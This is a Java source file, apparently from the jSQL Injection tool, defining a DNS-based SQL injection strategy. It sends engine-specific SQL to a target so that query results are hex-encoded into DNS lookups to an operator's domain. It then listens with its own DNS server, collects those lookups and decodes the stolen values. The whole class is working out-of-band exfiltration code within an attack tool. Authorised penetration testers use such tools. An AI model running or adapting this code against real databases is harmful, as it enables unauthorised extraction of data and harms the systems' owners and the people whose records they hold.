/*******************************************************************************
    * Copyhacked (H) 2012-2025.
    * This program and the accompanying materials
    * are made available under no term at all, use it like
    * you want, but share and discuss it
    * every time possible with every body.
    *
    * Contributors:
    *      ron190 at ymail dot com - initial implementation
   *******************************************************************************/
  package com.jsql.model.injection.strategy;
  
  import com.jsql.model.InjectionModel;
  import com.jsql.model.accessible.ResourceAccess;
  import com.jsql.view.subscriber.Seal;
  import com.jsql.model.injection.strategy.blind.AbstractInjectionBit.BlindOperator;
  import com.jsql.model.injection.engine.model.EngineYaml;
  import com.jsql.model.suspendable.AbstractSuspendable;
  import com.jsql.util.I18nUtil;
  import com.jsql.util.LogLevelUtil;
  import com.jsql.util.StringUtil;
  import org.apache.commons.lang3.StringUtils;
  import org.apache.logging.log4j.LogManager;
  import org.apache.logging.log4j.Logger;
  
  import java.util.regex.Pattern;
  
  public class StrategyDns extends AbstractStrategy {
  
      private static final Logger LOGGER = LogManager.getRootLogger();
      private BlindOperator blindOperator;
      private final DnsServer dnsServer;
  
      public StrategyDns(InjectionModel injectionModel) {
          super(injectionModel);
          this.dnsServer = new DnsServer(injectionModel);
      }
  
      @Override
      public void checkApplicability() {
          if (this.injectionModel.getMediatorUtils().preferencesUtil().isStrategyDnsDisabled()) {
              LOGGER.log(LogLevelUtil.CONSOLE_INFORM, AbstractStrategy.FORMAT_SKIP_STRATEGY_DISABLED, this.getName());
              return;
          } else if (
              StringUtils.isBlank(this.injectionModel.getMediatorUtils().preferencesUtil().getDnsDomain())
              || !StringUtils.isNumeric(this.injectionModel.getMediatorUtils().preferencesUtil().getDnsPort())
          ) {
              LOGGER.log(
                  LogLevelUtil.CONSOLE_INFORM,
                  "Incorrect domain '{}' or port '{}', skipping Dns strategy",
                  this.injectionModel.getMediatorUtils().preferencesUtil().getDnsDomain(),
                  this.injectionModel.getMediatorUtils().preferencesUtil().getDnsPort()
              );
              return;
          } else if (
              StringUtils.isEmpty(this.injectionModel.getMediatorEngine().getEngine().instance().getModelYaml().getStrategy().getDns())
          ) {
              LOGGER.log(
                  LogLevelUtil.CONSOLE_INFORM,
                  AbstractStrategy.FORMAT_STRATEGY_NOT_IMPLEMENTED,
                  this.getName(),
                  this.injectionModel.getMediatorEngine().getEngine()
              );
              return;
          }
  
          this.checkInjection(BlindOperator.OR);
          this.checkInjection(BlindOperator.AND);
          this.checkInjection(BlindOperator.STACK);
          this.checkInjection(BlindOperator.NO_MODE);
  
          if (this.isApplicable) {
              this.allow();
          } else {
              this.unallow();
          }
      }
  
      private void checkInjection(BlindOperator blindOperator) {
          if (this.isApplicable) {
              return;
          }
          this.blindOperator = blindOperator;
          LOGGER.log(
              LogLevelUtil.CONSOLE_DEFAULT,
              "{} [{}] with [{}]...",
              () -> I18nUtil.valueByKey(AbstractStrategy.KEY_LOG_CHECKING_STRATEGY),
              this::getName,
              () -> blindOperator
          );
          String engineSpecificWithOperator = this.injectionModel.getMediatorEngine().getEngine().instance().sqlDns(
              String.format(
                  "(select concat('', %s))",
                  this.injectionModel.getMediatorEngine().getEngine().instance().getModelYaml().getStrategy().getConfiguration().getFailsafe().replace(EngineYaml.INDICE, "1")
              ),
              "1",
              blindOperator,
              false
          );
 
         new Thread(this.dnsServer::listen).start();
         this.injectionModel.injectWithoutIndex(engineSpecificWithOperator, "dns#confirm");
         this.waitDnsResponse(2500);
 
         var domainName = this.injectionModel.getMediatorUtils().preferencesUtil().getDnsDomain();
         this.isApplicable = this.dnsServer.getResults().stream().anyMatch(
             s -> s.contains(domainName) && s.contains(StringUtil.toHex(ResourceAccess.WEB_CONFIRM_RESULT))
         );
         if (this.isApplicable) {
             this.dnsServer.getResults().clear();
             LOGGER.log(
                 LogLevelUtil.CONSOLE_SUCCESS,
                 "{} [{}] with [{}]",
                 () -> I18nUtil.valueByKey(AbstractStrategy.KEY_LOG_VULNERABLE),
                 this::getName,
                 this.blindOperator::name
             );
         } else {
             this.dnsServer.close();
         }
     }
 
     @Override
     public void allow(int... i) {
         this.injectionModel.appendAnalysisReport(
             StringUtil.formatReport(LogLevelUtil.COLOR_BLU, "### Strategy: " + this.getName())
             + this.injectionModel.getReportWithoutIndex(
                 this.injectionModel.getMediatorEngine().getEngine().instance().sqlDns(
                     StringUtil.formatReport(LogLevelUtil.COLOR_GREEN, "<query>"),
                     "1",
                     this.blindOperator,
                     true
                 ),
                 "metadataInjectionProcess",
                 null
             )
         );
         this.injectionModel.sendToViews(new Seal.MarkStrategyVulnerable(this));
     }
 
     @Override
     public void unallow(int... i) {
         this.injectionModel.sendToViews(new Seal.MarkStrategyInvulnerable(this));
     }
 
     @Override
     public String inject(String sqlQuery, String startPosition, AbstractSuspendable stoppable, String metadataInjectionProcess) {
         new Thread(() -> this.injectionModel.injectWithoutIndex(
             this.injectionModel.getMediatorEngine().getEngine().instance().sqlDns(
                 sqlQuery,
                 startPosition,
                 this.blindOperator,
                 false
             ),
             metadataInjectionProcess
         )).start();
         this.waitDnsResponse(5000);
 
         String result = this.dnsServer.getResults().getFirst();
         var domainName = this.injectionModel.getMediatorUtils().preferencesUtil().getDnsDomain();
         String regexToMatchTamperTags = String.format("(?i).{3}\\.([a-z0-9]*)\\..{3}\\.%s\\.", domainName);
         var matcherSql = Pattern.compile(regexToMatchTamperTags).matcher(result);
         if (matcherSql.find()) {
             result = matcherSql.group(1);
         } else {
             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Incorrect DNS response: {}", result);
         }
         this.dnsServer.getResults().clear();
         return StringUtil.fromHex(result);
     }
 
     private void waitDnsResponse(int maxTime) {
         int currentTime = 0;
         while (this.dnsServer.getResults().isEmpty() && currentTime <= maxTime) {
             try {
                 int waitTime = 250;
                 Thread.sleep(waitTime);
                 currentTime += waitTime;
             } catch (InterruptedException e) {
                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
                 Thread.currentThread().interrupt();
             }
         }
         if (currentTime > maxTime) {
             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Missing DNS response after {} ms", maxTime);
         }
     }
 
     @Override
     public void activateWhenApplicable() {
         if (this.injectionModel.getMediatorStrategy().getStrategy() == null && this.isApplicable()) {
             LOGGER.log(
                 LogLevelUtil.CONSOLE_INFORM,
                 "{} [{}] with [{}]",
                 () -> I18nUtil.valueByKey("LOG_USING_STRATEGY"),
                 this::getName,
                 this.blindOperator::name
             );
             this.injectionModel.getMediatorStrategy().setStrategy(this);
             this.injectionModel.sendToViews(new Seal.ActivateStrategy(this));
         }
     }
     
     @Override
     public String getPerformanceLength() {
         return EngineYaml.DEFAULT_CAPACITY;
     }
     
     @Override
     public String getName() {
         return "Dns";
     }
 }